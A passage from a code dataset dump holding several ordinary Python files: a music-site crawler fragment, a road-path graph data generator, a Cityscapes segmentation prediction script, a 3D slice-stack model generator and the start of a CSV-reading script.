= True\n\n # 传入设置, 创建一个driver\n driver = webdriver.Firefox(options=options,\n executable_path=r\"D:\\Files\\Library_development\\geckodriver-v0.26.0-win64\\geckodriver.exe\")\n print(\" driver created\")\n\n # 存储歌单的csv文件(追加模式,'\\n'换行避免空行)\n file_csv = open(\"test.csv\", \"w\", encoding='utf-8')\n writer = csv.writer(file_csv, lineterminator='\\n')\n\n # writer.writerow([\"标题\", \"\"])\n list = []\n try:\n list = get_song_records(url, driver)\n except WebDriverException as wde:\n print(\" \", wde.args)\n print(\"=====\")\n print(traceback.format_exc()) # 打印详细信息\n\n print(list)\n\n # 关闭驱动, 这点很重要, 不然火狐的进程是不会死的\n driver.close()\n\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"NetEaseCloudMusicCrawler_TEST/CRAWLER/crawler_songRecord.py","file_name":"crawler_songRecord.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"156794771","text":"import math, random\nimport numpy as np\nfrom PIL import Image, ImageDraw\nimport time, json\nfrom scipy.stats import multivariate_normal\nfrom Config import *\nfrom scipy.ndimage.filters import gaussian_filter\nimport scipy, socket, sys, os\nfrom pycocotools.coco import COCO\n\nconfig = Config()\nSHOW = False\n\nclass directed_graph(object):\n\tdef __init__(self, downsample = 8):\n\t\tself.v = []\n\t\tself.v_org = []\n\t\tself.e = []\n\t\tself.nb = []\n\t\treturn\n\n\tdef add_v(self, v):\n\t\tself.v.append(v)\n\t\tself.v_org.append((v[0] * 8 + 4, v[1] * 8 + 4))\n\t\tself.nb.append([])\n\t\treturn\n\n\tdef add_e(self, v1, v2, w = None):\n\t\tassert(v1 in range(len(self.v)))\n\t\tassert(v2 in range(len(self.v)))\n\t\tif w is None:\n\t\t\tw = self.dist(self.v[v1], self.v[v2])\n\t\tself.e.append((v1, v2, w))\n\t\tself.nb[v1].append((v2, w))\n\t\treturn\n\n\tdef dist(self, v1, v2):\n\t\tdiff = np.array(v1) - np.array(v2)\n\t\treturn np.sqrt(np.dot(diff, diff))\n\n\tdef spfa(self, source):\n\t\tdist = [1e9 for i in range(len(self.v))]\n\t\tprev = [None for i in range(len(self.v))]\n\t\tin_q = [False for i in range(len(self.v))]\n\t\tdist[source] = 0\n\t\tq = [source]\n\t\tin_q[source] = True\n\t\twhile len(q) > 0:\n\t\t\tu = q.pop(0)\n\t\t\tin_q[u] = False\n\t\t\tfor v, w in self.nb[u]:\n\t\t\t\talt = dist[u] + w\n\t\t\t\tif alt < dist[v]:\n\t\t\t\t\tdist[v] = alt\n\t\t\t\t\tprev[v] = u\n\t\t\t\t\tif not in_q[v]:\n\t\t\t\t\t\tin_q[v] = True\n\t\t\t\t\t\tq.append(v)\n\t\tdist = np.array(dist)\n\t\tdist[dist > 1e8] = -1e9\n\t\treturn dist, prev\n\n\tdef shortest_path_all(self):\n\t\tself.sp = []\n\t\tfor i in range(len(self.v)):\n\t\t\tself.sp.append(self.spfa(i))\n\t\tself.sp_max_idx = [np.argmax(dist) for dist, _ in self.sp]\n\t\tself.sp_idx_t = []\n\t\tfor dist, _ in self.sp:\n\t\t\tself.sp_idx_t.append([idx for idx, d in enumerate(list(dist)) if d > 0.5])\n\t\tself.sp_idx_s = [idx for idx, item in enumerate(self.sp_idx_t) if len(item) > 0]\n\t\treturn\n\ndef make_ellipse(p, pad = 10):\n\treturn [(p[0] - pad, p[1] - pad), (p[0] + pad, p[1] + pad)]\n\ndef rotate1(w, h, x, y):\n\treturn h, w, y, w - 1 - x\n\ndef rotateN(n, w, h, x, y):\n\tfor _ in range(n):\n\t\tw, h, x, y = rotate1(w, h, x, y)\n\treturn w, h, x, y\n\nclass VertexPool(object):\n\tdef __init__(self, v_out_res):\n\t\tself.v_out_res = v_out_res\n\t\tself.blank = np.zeros(self.v_out_res, dtype = np.uint8)\n\t\tself.vertex_pool = [[] for i in range(self.v_out_res[1])]\n\t\tfor i in range(self.v_out_res[1]):\n\t\t\tfor j in range(self.v_out_res[0]):\n\t\t\t\tself.vertex_pool[i].append(np.copy(self.blank))\n\t\t\t\tself.vertex_pool[i][j][i, j] = 255\n\t\t\t\tself.vertex_pool[i][j] = Image.fromarray(self.vertex_pool[i][j])\n\t\treturn\n\nvp = VertexPool(config.V_OUT_RES)\n\nclass DataGenerator(object):\n\tdef __init__(self, city_name, img_size, v_out_res, max_seq_len, mode = 'train'):\n\t\tassert(mode in ['train', 'val', 'test'])\n\t\tself.mode = mode\n\t\tself.city_name = city_name\n\t\tself.img_size = img_size\n\t\tself.v_out_res = v_out_res\n\t\tself.max_seq_len = max_seq_len\n\n\t\tself.TRAIN_ANNOTATIONS_PATH = config.PATH[city_name]['ann-train']\n\t\tself.VAL_ANNOTATIONS_PATH = config.PATH[city_name]['ann-val']\n\t\tself.TEST_ANNOTATIONS_PATH = config.PATH[city_name]['ann-test']\n\t\tself.TRAIN_IMAGES_DIRECTORY = config.PATH[city_name]['img-train']\n\t\tself.VAL_IMAGES_DIRECTORY = config.PATH[city_name]['img-val']\n\t\tself.TEST_IMAGES_PATH = config.PATH[city_name]['img-test']\n\n\t\tself.TEST_CURRENT = 0\n\t\tself.TEST_FLAG = True\n\t\tself.TEST_RESULT = []\n\n\t\tif self.mode == 'test':\n\t\t\tself.coco_test = COCO(self.TEST_ANNOTATIONS_PATH)\n\t\t\tself.TEST_IMAGES_DIRECTORY = config.PATH[city_name]['img-test']\n\t\t\tself.TEST_IMAGE_IDS = list(self.coco_test.getImgIds(catIds = self.coco_test.getCatIds()))\n\t\tif self.mode == 'val':\n\t\t\tself.coco_valid = COCO(self.VAL_ANNOTATIONS_PATH)\n\t\t\tself.TEST_IMAGES_DIRECTORY = config.PATH[city_name]['img-val']\n\t\t\tself.TEST_IMAGE_IDS = list(self.coco_valid.getImgIds(catIds = self.coco_valid.getCatIds()))\n\t\tif mode == 'train':\n\t\t\tself.coco_train = COCO(self.TRAIN_ANNOTATIONS_PATH)\n\t\t\tself.coco_valid = COCO(self.VAL_ANNOTATIONS_PATH)\n\t\t\tself.train_img_ids = self.coco_train.getImgIds(catIds = self.coco_train.getCatIds())\n\t\t\tself.train_ann_ids = self.coco_train.getAnnIds(catIds = self.coco_train.getCatIds())\n\t\t\tself.valid_img_ids = self.coco_valid.getImgIds(catIds = self.coco_valid.getCatIds())\n\t\t\tself.valid_ann_ids = self.coco_valid.getAnnIds(catIds = self.coco_valid.getCatIds())\n\n\t\t\ttrain_anns = self.coco_train.loadAnns(self.train_ann_ids)\n\t\t\tvalid_anns = self.coco_valid.loadAnns(self.valid_ann_ids)\n\n\t\t\tprint('Totally %d patches for train.' % len(self.train_ann_ids))\n\t\t\tprint('Totally %d patches for valid.' % len(self.valid_ann_ids))\n\n\t\t# \n\t\tself.blank = np.zeros(self.v_out_res, dtype = np.uint8)\n\t\tself.vertex_pool = [[] for i in range(self.v_out_res[1])]\n\t\tfor i in range(self.v_out_res[1]):\n\t\t\tfor j in range(self.v_out_res[0]):\n\t\t\t\tself.vertex_pool[i].append(np.copy(self.blank))\n\t\t\t\tself.vertex_pool[i][j][i, j] = 255\n\t\t\t\tself.vertex_pool[i][j] = Image.fromarray(self.vertex_pool[i][j])\n\t\treturn\n\n\tdef getSingleArea(self, mode, img_id, seq_id, rotate):\n\t\tif self.mode == 'train':\n\t\t\tassert(mode in ['train', 'val'])\n\t\telse:\n\t\t\tassert(mode == self.mode)\n\n\t\t# Rotate, anticlockwise\n\t\tif self.mode == 'train':\n\t\t\trotate_deg = rotate * 90\n\t\t\tif mode == 'train':\n\t\t\t\timg_info = self.coco_train.loadImgs([img_id])[0]\n\t\t\t\timage_path = os.path.join(self.TRAIN_IMAGES_DIRECTORY, img_info['file_name'])\n\t\t\t\tannotations = self.coco_train.loadAnns(self.coco_train.getAnnIds(imgIds = img_info['id']))\n\t\t\tif mode == 'val':\n\t\t\t\timg_info = self.coco_valid.loadImgs([img_id])[0]\n\t\t\t\timage_path = os.path.join(self.VAL_IMAGES_DIRECTORY, img_info['file_name'])\n\t\t\t\tannotations = self.coco_valid.loadAnns(self.coco_valid.getAnnIds(imgIds = img_info['id']))\n\t\telse:\n\t\t\tif mode == 'val':\n\t\t\t\timg_info = self.coco_valid.loadImgs([img_id])[0]\n\t\t\tif mode == 'test':\n\t\t\t\timg_info = self.coco_test.loadImgs([img_id])[0]\n\t\t\timage_path = os.path.join(self.TEST_IMAGES_DIRECTORY, img_info['file_name'])\n\n\t\timg = Image.open(image_path)\n\t\torg_w, org_h = img.size\n\t\tret_img = img.rotate(rotate_deg).resize(self.img_size)\n\n\t\tif SHOW:\n\t\t\tret_img.save('%d.png' % img_id)\n\n\t\tret_img = np.array(ret_img, np.float32)[..., 0: 3]\n\t\tif self.mode != 'train':\n\t\t\treturn ret_img\n\n\t\tassert(len(annotations) == 1)\n\t\tw8, h8 = self.v_out_res\n\t\tannotation = annotations[0]\n\n\t\tv_set = set()\n\t\tfor (x1, y1), (x2, y2) in annotation['segmentation']:\n\t\t\tv_set.add((x1, y1))\n\t\t\tv_set.add((x2, y2))\n\t\tv_li = list(v_set)\n\t\tv_li.sort()\n\t\tv_li_8 = [(round(x / (org_w - 1) * (w8 - 1)), round(y / (org_h - 1) * (h8 - 1))) for x, y in v_li]\n\t\tv_li_8_unique = list(set(v_li_8))\n\t\tv_li_8_unique.sort()\n\t\tv_li_8_d = {v: k for k, v in enumerate(v_li_8_unique)}\n\t\td = {v: v_li_8_d[v8] for v, v8 in zip(v_li, v_li_8)}\n\n\t\tedges = [(d[tuple(v1)], d[tuple(v2)]) for v1, v2 in annotation['segmentation']]\n\t\tpolygons = [[d[tuple(v)] for v in polygon] for polygon in annotation['polygons']]\n\n\t\tif len(v_li_8_unique) == 1:\n\t\t\tv_li_8_unique = []\n\t\t\tedges = []\n\t\t\tpolygons = []\n\n\t\tg = directed_graph()\n\t\tfor v in v_li_8_unique:\n\t\t\tg.add_v(rotateN(rotate, w8, h8, v[0], v[1])[2: 4])\n\t\tfor s, t in edges:\n\t\t\tif s != t:\n\t\t\t\tg.add_e(s, t)\n\t\tg.shortest_path_all()\n\n\t\tw8, h8 = rotateN(rotate, w8, h8, 0, 0)[0: 2]\n\n\t\t# Draw boundary and vertices\n\t\tboundary = Image.new('P', (w8, h8), color = 0)\n\t\tdraw = ImageDraw.Draw(boundary)\n\t\tfor e in g.e:\n\t\t\tdraw.line(list(g.v[e[0]]) + list(g.v[e[1]]), fill = 255, width = 1)\n\t\tif SHOW:\n\t\t\tboundary.resize(self.img_size).save('%d_b.png' % img_id)\n\t\tboundary = np.array(boundary) / 255.0\n\n\t\tvertices = Image.new('P', (w8, h8), color = 0)\n\t\tdraw = ImageDraw.Draw(vertices)\n\t\tfor i in range(len(g.v)):\n\t\t\tdraw.ellipse(make_ellipse(g.v[i], pad = 0), fill = 255, outline = 255)\n\t\tif SHOW:\n\t\t\tvertices.resize(self.img_size).save('%d_v.png' % img_id)\n\t\tvertices = np.array(vertices) / 255.0\n\n\t\t# RNN in and out\n\t\tvertex_terminals = []\n\t\tvertex_inputs = []\n\t\tvertex_outputs = []\n\t\tends = []\n\t\tseq_lens = []\n\t\tfor s in range(len(g.v)):\n\t\t\tif len(g.v) == 1:\n\t\t\t\tbreak\n\t\t\tt = int(np.random.choice(len(g.v), 1)[0])\n\t\t\twhile t == s:\n\t\t\t\tt = int(np.random.choice(len(g.v), 1)[0])\n\t\t\tdist, prev = g.sp[s]\n\t\t\tif dist[t] > 0:\n\t\t\t\tpath = []\n\t\t\t\tp = t\n\t\t\t\twhile p != s:\n\t\t\t\t\tpath.append(p)\n\t\t\t\t\tp = prev[p]\n\t\t\t\tpath.append(p)\n\t\t\t\tpath.reverse()\n\t\t\telse:\n\t\t\t\tpath = [s]\n\t\t\tpath_v = [g.v[idx] for idx in path]\n\t\t\tseq_len = len(path_v)\n\n\t\t\tvertex_input = [self.vertex_pool[r][c] for c, r in path_v]\n\t\t\tvertex_output = vertex_input[1:]\n\t\t\tvertex_terminal = [vertex_input[0], self.vertex_pool[g.v[t][1]][g.v[t][0]]]\n\n\t\t\twhile len(vertex_input) < self.max_seq_len:\n\t\t\t\tvertex_input.append(self.blank)\n\t\t\twhile len(vertex_output) < self.max_seq_len:\n\t\t\t\tvertex_output.append(self.blank)\n\t\t\tvertex_input = vertex_input[: self.max_seq_len]\n\t\t\tvertex_output = vertex_output[: self.max_seq_len]\n\n\t\t\tend = np.zeros([self.max_seq_len])\n\t\t\tif seq_len <= self.max_seq_len:\n\t\t\t\tend[seq_len - 1] = 1\n\n\t\t\tif SHOW:\n\t\t\t\tcolor = [0] + [1, 2] * 30\n\t\t\t\tfor seq, vvv in enumerate([vertex_input, vertex_output, vertex_terminal]):\n\t\t\t\t\tvisualize = np.zeros((self.v_out_res[1], self.v_out_res[0], 3), np.uint8)\n\t\t\t\t\tfor i, item in enumerate(vvv):\n\t\t\t\t\t\tvisualize[..., color[i]] = np.maximum(visualize[..., color[i]], np.array(item, np.uint8))\n\t\t\t\t\tImage.fromarray(visualize).resize(self.img_size).save('%d_%d.png' % (img_id, seq))\n\t\t\t\t# print(end)\n\t\t\t\t# print(len(path_v))\n\n\t\t\tvertex_input = [np.array(item) / 255.0 for item in vertex_input]\n\t\t\tvertex_output = [np.array(item) / 255.0 for item in vertex_output]\n\t\t\tvertex_terminal = [np.array(item) / 255.0 for item in vertex_terminal]\n\t\t\tvertex_inputs.append(vertex_input)\n\t\t\tvertex_outputs.append(vertex_output)\n\t\t\tvertex_terminals.append(vertex_terminal)\n\t\t\tends.append(end)\n\t\t\tseq_lens.append(min(seq_len, self.max_seq_len))\n\n\t\tseq_idx = seq_id * np.ones([len(vertex_terminals)], np.int32)\n\t\tvertex_inputs = np.array(vertex_inputs)\n\t\tvertex_outputs = np.array(vertex_outputs)\n\t\tvertex_terminals = np.array(vertex_terminals)\n\t\tends = np.array(ends)\n\t\tseq_lens = np.array(seq_lens)\n\n\t\t# print(ret_img.shape)\n\t\t# print(boundary.shape)\n\t\t# print(vertices.shape)\n\t\t# print(vertex_inputs.shape)\n\t\t# print(vertex_outputs.shape)\n\t\t# print(vertex_terminals.shape)\n\t\t# print(ends.shape)\n\t\t# print(seq_lens.shape)\n\n\t\t# if vertex_outputs.shape[0] > 0:\n\t\t# \tprint(np.reshape(vertex_inputs, [-1, self.max_seq_len, 28 * 28]).sum(axis = -1))\n\t\t# \tprint(np.reshape(vertex_terminals, [-1, 2, 28 * 28]).sum(axis = -1))\n\t\t# \tt1 = np.reshape(vertex_outputs, [-1, self.max_seq_len, 28 * 28])\n\t\t# \tt2 = ends[..., np.newaxis]\n\t\t# \ttt = np.concatenate([t1, t2], axis = -1)\n\t\t# \tttt = tt.sum(axis = -1)\n\t\t# \tprint(ttt)\n\t\t# \tprint(seq_lens)\n\t\t# \tinput()\n\n\t\treturn ret_img, boundary, vertices, vertex_inputs, vertex_outputs, vertex_terminals, ends, seq_lens, seq_idx\n\n\tdef getAreasBatch(self, batch_size, mode):\n\t\tres = []\n\t\trotate = random.choice([0, 1, 2, 3])\n\t\tif self.mode == 'train':\n\t\t\tassert(mode in ['train', 'val'])\n\t\t\twhile True:\n\t\t\t\tids = np.random.choice(self.train_img_ids, batch_size, replace = False)\n\t\t\t\tprint(ids, rotate)\n\t\t\t\tfor i in range(batch_size):\n\t\t\t\t\tres.append(self.getSingleArea('train', ids[i], i, rotate))\n\t\t\t\tnew_res = [np.array([item[i] for item in res]) for i in range(3)]\n\t\t\t\tfor i in range(3, 9):\n\t\t\t\t\tli = [item[i] for item in res if item[i].shape[0] > 0]\n\t\t\t\t\tif li:\n\t\t\t\t\t\tnew_res.append(np.concatenate(li, axis = 0))\n\t\t\t\t\telse:\n\t\t\t\t\t\tbreak\n\t\t\t\tif len(new_res) != 9:\n\t\t\t\t\tprint('No paths in the images, re-generate ...')\n\t\t\t\t\tres = []\n\t\t\t\t\tcontinue\n\t\t\t\tassert(new_res[-1].shape[0] > 0)\n\t\t\t\tchoose = np.random.choice(new_res[-1].shape[0], config.TRAIN_NUM_PATH, replace = (new_res[-1].shape[0] < config.TRAIN_NUM_PATH))\n\t\t\t\tfor i in range(3, 9):\n\t\t\t\t\tnew_res[i] = new_res[i][choose]\n\t\t\t\tbreak\n\t\t\treturn new_res\n\n\n\ndef findPeaks(heatmap, sigma = 0, min_val = 0.5):\n\tth = 0\n\thmap = gaussian_filter(heatmap, sigma)\n\tmap_left = np.zeros(hmap.shape)\n\tmap_left[1:,:] = hmap[:-1,:]\n\tmap_right = np.zeros(hmap.shape)\n\tmap_right[:-1,:] = hmap[1:,:]\n\tmap_up = np.zeros(hmap.shape)\n\tmap_up[:,1:] = hmap[:,:-1]\n\tmap_down = np.zeros(hmap.shape)\n\tmap_down[:,:-1] = hmap[:,1:]\n\tmap_ul = np.zeros(hmap.shape)\n\tmap_ul[1:,1:] = hmap[:-1,:-1]\n\tmap_ur = np.zeros(hmap.shape)\n\tmap_ur[:-1,1:] = hmap[1:,:-1]\n\tmap_dl = np.zeros(hmap.shape)\n\tmap_dl[1:,:-1] = hmap[:-1,1:]\n\tmap_dr = np.zeros(hmap.shape)\n\tmap_dr[:-1,:-1] = hmap[1:,1:]\n\tsummary = np.zeros(hmap.shape)\n\tsummary += hmap>=map_left+th\n\tsummary += hmap>=map_right+th\n\tsummary += hmap>=map_up+th\n\tsummary += hmap>=map_down+th\n\tsummary += hmap>=map_dl+th\n\tsummary += hmap>=map_dr+th\n\tsummary += hmap>=map_ul+th\n\tsummary += hmap>=map_ur+th\n\tpeaks_binary = np.logical_and.reduce((summary >= 8, hmap >= min_val))\n\tpeaks = list(zip(np.nonzero(peaks_binary)[1], np.nonzero(peaks_binary)[0])) # note reverse\n\tpeaks_with_score = [x + (heatmap[x[1],x[0]],) for x in peaks]\n\treturn peaks_with_score\n\ndef getAllTerminal(hmb, hmv):\n\tassert(hmb.shape == hmv.shape)\n\th, w = hmb.shape[0: 2]\n\tpeaks_with_score = findPeaks(hmv, min_val = 0.9)\n\tpeaks_with_score = [(x, y, s) for x, y, s in peaks_with_score if True or hmb[y, x] > 0.9]\n\tallTerminal = []\n\tindices = []\n\tpeaks_map = np.zeros([w, h], np.float32)\n\tedges_map = Image.new('P', (w, h), color = 0)\n\tdraw = ImageDraw.Draw(edges_map)\n\tfor i in range(len(peaks_with_score)):\n\t\tx1, y1, s1 = peaks_with_score[i]\n\t\tpeaks_map[y1, x1] = 1\n\t\tfor j in range(i + 1, len(peaks_with_score)):\n\t\t\tx2, y2, _ = peaks_with_score[j]\n\t\t\tallTerminal.append((\n\t\t\t\tnp.array([np.array(vp.vertex_pool[y1][x1]), np.array(vp.vertex_pool[y2][x2])]),\n\t\t\t\tnp.array([np.array(vp.vertex_pool[y2][x2]), np.array(vp.vertex_pool[y1][x1])])\n\t\t\t))\n\t\t\tindices.append((i, j))\n\n\t\t\ttemp = Image.new('P', (w, h), color = 0)\n\t\t\ttmp_draw = ImageDraw.Draw(temp)\n\t\t\ttmp_draw.line([x1, y1, x2, y2], fill = 255, width = 1)\n\t\t\ttemp = np.array(temp, np.float32) / 255.0\n\t\t\tif np.mean(hmb[temp > 0.5]) > 0.7:\n\t\t\t\tdraw.line([x1, y1, x2, y2], fill = 255, width = 1)\n\tedges_map = np.array(edges_map, np.float32) / 255.0\n\treturn edges_map, peaks_map, allTerminal, indices\n\ndef recoverMultiPath(img_size, paths):\n\tpathImgs = []\n\tres = np.zeros(img_size)\n\tfor i in range(len(paths)):\n\t\tpath = []\n\t\tfor j in range(paths[i].shape[0]):\n\t\t\thmap = paths[i][j]\n\t\t\tend = 1 - hmap.sum()\n\t\t\tind = np.unravel_index(np.argmax(hmap), hmap.shape)\n\t\t\tif hmap[ind] >= end:\n\t\t\t\tpath.append((ind[1] * 8 + 4, ind[0] * 8 + 4))\n\t\t\telse:\n\t\t\t\tbreak\n\t\tpathImg = Image.new('P', img_size, color = 0)\n\t\tdraw = ImageDraw.Draw(pathImg)\n\t\tdraw.line(path, fill = 1, width = 5)\n\t\tres += np.array(pathImg, np.float32)\n\t\tpathImgs.append(np.array(pathImg, np.float32))\n\tres = np.array((res - res.min()) * 255.0 / (res.max() - res.min() + 1e-9), np.uint8)\n\treturn res, pathImgs\n\n\nif __name__ == '__main__':\n\tdg = DataGenerator(sys.argv[1], config.AREA_SIZE, config.V_OUT_RES, config.MAX_NUM_VERTICES)\n\tfor i in range(10000):\n\t\tprint(i)\n\t\timg, boundary, vertices, vertex_inputs, vertex_outputs, vertex_terminals, ends, seq_lens, _ = dg.getAreasBatch(4, 'train')\n\n\n","sub_path":"road_path/DataGeneratorOld.py","file_name":"DataGeneratorOld.py","file_ext":"py","file_size_in_byte":14896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"516494901","text":"import chianti\nimport lasagne\nimport cv2\nimport dltools\nimport theano\nimport theano.tensor as T\nimport sys\nimport numpy as np\n\nsys.setrecursionlimit(10000)\n\nconfig = {\n \"num_classes\": 19,\n \"sample_factor\": 4,\n \"model_filename\": \"models/frrn_a.npz\",\n \"base_channels\": 48,\n \"fr_channels\": 32,\n \"cityscapes_folder\": \"/\"\n}\n\n########################################################################################################################\n# Ask for the cityscapes path\n########################################################################################################################\n\n\nconfig[\"cityscapes_folder\"] = dltools.utility.get_interactive_input(\n \"Enter path to CityScapes folder\",\n \"cache/cityscapes_folder.txt\",\n config[\"cityscapes_folder\"])\n\nconfig[\"model_filename\"] = dltools.utility.get_interactive_input(\n \"Enter model filename\",\n \"cache/model_frrn_a_filename.txt\",\n config[\"model_filename\"])\n\n########################################################################################################################\n# DEFINE THE NETWORK\n########################################################################################################################\n\nwith dltools.utility.VerboseTimer(\"Define network\"):\n # Define the theano variables\n input_var = T.ftensor4()\n\n builder = dltools.architectures.FRRNABuilder(\n base_channels=config[\"base_channels\"],\n lanes=config[\"fr_channels\"],\n multiplier=2,\n num_classes=config[\"num_classes\"]\n )\n network = builder.build(\n input_var=input_var,\n input_shape=(None, 3, 1024 // config[\"sample_factor\"], 2048 // config[\"sample_factor\"]))\n\n#######################################################################################################################\n# LOAD MODEL\n########################################################################################################################\n\nwith dltools.utility.VerboseTimer(\"Load model\"):\n network.load_model(config[\"model_filename\"])\n\n########################################################################################################################\n# COMPILE THEANO VAL FUNCTIONS\n########################################################################################################################\n\nwith dltools.utility.VerboseTimer(\"Compile validation function\"):\n test_predictions = lasagne.layers.get_output(network.output_layers, deterministic=True)[0]\n val_fn = theano.function(\n inputs=[input_var],\n outputs=test_predictions\n )\n\n########################################################################################################################\n# Visualize the data\n########################################################################################################################\n\nvalidation_provider = chianti.DataProvider(\n iterator=chianti.sequential_iterator(dltools.utility.get_image_label_pairs(config[\"cityscapes_folder\"], \"val\")),\n batchsize=1,\n augmentors=[\n chianti.cityscapes_label_transformation_augmentor(),\n chianti.subsample_augmentor(config[\"sample_factor\"]),\n ]\n)\n\nwhile True:\n batch = validation_provider.next()\n x = batch.imgs\n t = batch.targets\n\n # Process the image\n network_output = val_fn(x)\n # Obtain a prediction\n predicted_labels = np.argmax(network_output[0], axis=0)\n\n prediction_visualization = dltools.utility.create_color_label_image(predicted_labels)\n ground_truth_visualization = dltools.utility.create_color_label_image(t[0])\n image = dltools.utility.tensor2opencv(x[0])\n\n cv2.imshow(\"Image\", image)\n cv2.imshow(\"Ground Truth\", ground_truth_visualization)\n cv2.imshow(\"Prediction\", prediction_visualization)\n cv2.waitKey()\n","sub_path":"predict_frrn_a.py","file_name":"predict_frrn_a.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"477852223","text":"import copy\nimport math\nimport random\nimport platform\nimport os\nfrom pathlib import Path\n\nfrom solid import *\nfrom solid.utils import *\nfrom tqdm import tqdm\nfrom plumbum import local\nimport pyclipper\nfrom scipy.interpolate import splprep, splev\nfrom scipy.optimize import fmin\nfrom scipy.spatial.distance import euclidean\nimport numpy as np\n\nfrom dan.lib.helper import *\nfrom dan.lib import polytri\nfrom dan.project.slicestack.differential_line import DiffLine, NodeData\n\ndf = DiffLine()\ndf.init_circle()\n\nlayers = []\npoints_per_layer = 300\nheight = 200\nflip = False\n\nprint(\"Running Simulation\")\nfor i in tqdm(range(height)):\n df.update()\n\n if i % 20 == 0:\n layer = []\n for n in df.nodes:\n nd = NodeData(n)\n if flip:\n nd.pos.z = height - i\n else:\n nd.pos.z = i\n layer.append(nd)\n layers.append(layer)\n\nparts = []\n\ndef convert_points_to_spline(points):\n arr = np.array([p.to_list() for p in points])\n tck, u = splprep(arr.T, s=0.0, per=1, quiet=2)\n return tck, u\n\ndef normalize_points_on_layer(layer, num_points=points_per_layer):\n z = layer[0].z\n arr = np.array([(p.x, p.y) for p in layer])\n tck, u = splprep(arr.T, u=None, s=0.0, per=1, quiet=2)\n u_new = np.linspace(u.min(), u.max(), points_per_layer)\n x_new, y_new = splev(u_new, tck, der=0)\n return [\n Vec3(x, y_new[i], z) for i, x in enumerate(x_new)\n ]\n\n\ndef shrink_layer(layer, offset):\n z = layer[0].z\n\n pco = pyclipper.PyclipperOffset()\n pco.AddPath(\n [(p.x, p.y) for p in layer],\n pyclipper.JT_SQUARE,\n pyclipper.ET_CLOSEDPOLYGON\n )\n\n solution = pco.Execute(-offset)\n\n if len(solution) > 1:\n print( \"warning, solution len: {}\".format(len(solution)))\n\n # Only use the longest solution, if there's more than one we're probably fucked anyhow\n path = max(solution, key=lambda d: len(d))\n\n return [Vec3(p[0], p[1], z) for p in path]\n\n\ndef sample_closest_points(layers, num_points):\n ret_layers = []\n\n # sample first layer\n ret_layers.append(normalize_points_on_layer(layers[0], num_points))\n\n for layer_index, layer in tqdm(enumerate(layers), total=len(layers)):\n if layer_index == 0:\n continue\n\n previous_layer = ret_layers[layer_index-1]\n\n # Rotate layer\n layer = deque(layer)\n closest_index, closest_point = min(enumerate(layer), key=lambda ip: ip[1].distance(previous_layer[0]))\n layer.rotate(-closest_index)\n layer = list(layer)\n \n new_layer = []\n\n index_ratio = len(layer) / len(previous_layer)\n\n p_index = 0\n for bp in previous_layer:\n try:\n #closest_index, closest_point = min(enumerate(layer[p_index:p_index+int(index_ratio*1)]), key=lambda ip: ip[1].distance2(bp))\n closest_index, closest_point = min(enumerate(layer), key=lambda ip: Vec3(ip[1].x, ip[1].y).distance2(Vec3(bp.x, bp.y)))\n except ValueError:\n new_layer.append(layer[0])\n else:\n # we cut off the beginning of the layer array so have to add this value back\n closest_index += p_index\n p_index = closest_index+1\n\n new_layer.append(closest_point)\n\n ret_layers.append(new_layer)\n\n \n return ret_layers\n\ndef normalize_stack(layers, num_points):\n ret_layers = []\n\n ret_layers.append(normalize_points_on_layer(layers[0], num_points))\n\n def dist_to_point_function(p, tck):\n def dist_to_p(u):\n s = splev(u, tck)\n return euclidean(p, s)\n\n for layer in enumerate(layers[1:]):\n pass\n\ndef insert_points_in_long_sections(layer, max_length=5.0):\n out = []\n for i, p in enumerate(layer):\n out.append(p)\n next_point = layer[(i+1)%len(layer)]\n vec = next_point - p\n dist = vec.length()\n usable_dist = dist - 1\n if usable_dist > max_length:\n # Normalize\n vec /= dist\n vec *= max_length\n for _ in range(int(usable_dist / max_length)):\n out.append(out[-1] + vec)\n return out\n\nshrink_amount = 3\n\n# Convert to just pos\nlayers = [[nd.pos for nd in layer] for layer in layers]\n\nprint(\"Smoothing\")\n# layers = [normalize_points_on_layer(layer, len(layer)*2) for layer in layers]\n\nprint(\"Resizing\")\nog_layers = layers\nlayers = [shrink_layer(layer, 0) for layer in og_layers]\nshrunk_layers = [shrink_layer(layer, 5) for layer in og_layers]\n\nprint(\"Filling long spans\")\nlayers = [insert_points_in_long_sections(layer) for layer in layers]\nshrunk_layers = [insert_points_in_long_sections(layer) for layer in shrunk_layers]\n\n# for layer in layers:\n# for p in layer:\n# parts.append(translate(p.to_list())(cube([1,1,1])))\n\nprint(\"Normalizing\")\nlayers = [normalize_points_on_layer(layer) for layer in layers]\nshrunk_layers = [normalize_points_on_layer(layer) for layer in shrunk_layers]\n\n#layers = sample_closest_points(layers, 300)\n#shrunk_layers = sample_closest_points(shrunk_layers, 300)\n\nprint( \"Triangulating\" )\n#outer = rings_to_polyhedron(layers[:-1], progress_stdout=True)\n#inner = rings_to_polyhedron(shrunk_layers[1:], progress_stdout=True)\nouter = similar_rings_to_polyhedron(layers[:-1], progress_stdout=True)\ninner = similar_rings_to_polyhedron(shrunk_layers[1:], progress_stdout=True)\n\n#parts.append( outer )\n#parts.append( inner )\nparts.append(outer - inner)\n\nprint(\"Saving File\")\nwith open(__file__ + \".scad\", \"w\") as f:\n f.write(scad_render(union()(parts)))\n","sub_path":"dan/project/slicestack/slicestack.py","file_name":"slicestack.py","file_ext":"py","file_size_in_byte":5592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"84358224","text":"import datetime\nfrom datetime import timedelta\nimport csv\n\n\nwith open('catalogue_data.csv', 'r') as cat_data:\n data_reader = csv.DictReader(cat_data)\n data = []\n for line in data_reader:\n data.append({'starid': line['starid'], 'name': line['name'], 'country': line['country'], 'magnitude': line['magnitude'], 'constellation': line['constellation'], 'date': datetime.datetime.strptime(line['date'], '%Y-%m-%d').date(), })\n\nnew_data = [x for x in data if x['date'] <= (datetime.date.today() - timedelta(days=1))]\n\n\nwith open('reviews.csv', 'r') as rev:\n rev_reader = csv.DictReader(rev)\n reviews = []\n for line in rev_reader:\n reviews.append({'review': line['review'], 'name': line['name'], 'date': datetime.datetime.strptime(line['date'], '%Y-%m-%d').date(), 'image': 